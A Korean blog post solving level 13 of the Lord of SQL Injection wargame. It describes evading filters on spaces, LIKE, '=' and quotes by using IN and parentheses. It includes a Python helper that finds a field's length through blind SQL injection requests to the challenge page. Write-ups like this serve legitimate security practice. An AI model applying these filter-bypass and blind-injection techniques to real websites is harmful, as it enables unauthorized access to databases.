Dork's port

LOS 13번 BUGBEAR 본문

Lord Of Sql injection

LOS 13번 BUGBEAR

Dork94 2019. 1. 12. 06:58

갈수록 문제가 괴랄해지는 느낌..!


이번엔 White space뿐만 아니라 LIKE도 막혔네요...


대체제를 찾아봐야겠어요..


id가 admin인걸 찾아야하는데 LIKE도 안되고 =는 물론 '도 되지 않기 때문에  https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html 여기서 쓸만한 친구가 있나 찾아봤습니다.


그래서 in을 사용하기로 했어요! 


그리고 whitespace를 이용해 구분을 해야하는데.. 왠지 ()를 이용해 감싸면 될 것 같은 느낌이라 해줬는데 잘 동작하네요!


따라서 아래와 같이 pwning_url을 작성했습니다 :)




그리고...


소스코드 재탕좀 해먹으려했더니 또 고쳐야겠네요.


2019/01/12 - [Lord Of Sql injection] - LOS 12번에서 이전에 사용했던 소스코드를 사용하려하니 length에서 값 비교를 위해 사용한 LIKE가 걸리네요.. 이걸 조금 수정해서 대소 비교를 통해 알아보도록 하겠습니다 :) 


def get_length(pwning_url, field, add_comment, login_cookies):

    length = 1
    while True:
        print('Trying to get length of {0} by length {1}'.format(field, length))
        url = pwning_url + ' length({0}) > {1} {2} '.format(field, length, '%23' if add_comment else '')

        # remove white space
        url = url.replace(' ', '')


        res = requests.get(url, cookies=login_cookies)

        soup = BeautifulSoup(res.text, 'html.parser')
        h2s = soup.find_all('h2')

        if not h2s:
            return length

        length += 1




이전코드에서 pw를 구하는 loop query에는 문제가 없었으므로 length를 구하는 부분만 수정해 주었습니다 :) 


그러고 돌리니까 정상 동작하네요! 


꿀리어! 


'Lord Of Sql injection' 카테고리의 다른 글

LOS 15번 ASSASSIN  (0) 2019.01.12
LOS 14번 GIANT  (0) 2019.01.12
LOS 12번 DARKKNIGHT  (0) 2019.01.12
LOS 11번 GOLEM  (0) 2019.01.12
LOS 10번 SKELETON  (0) 2019.01.12
Comments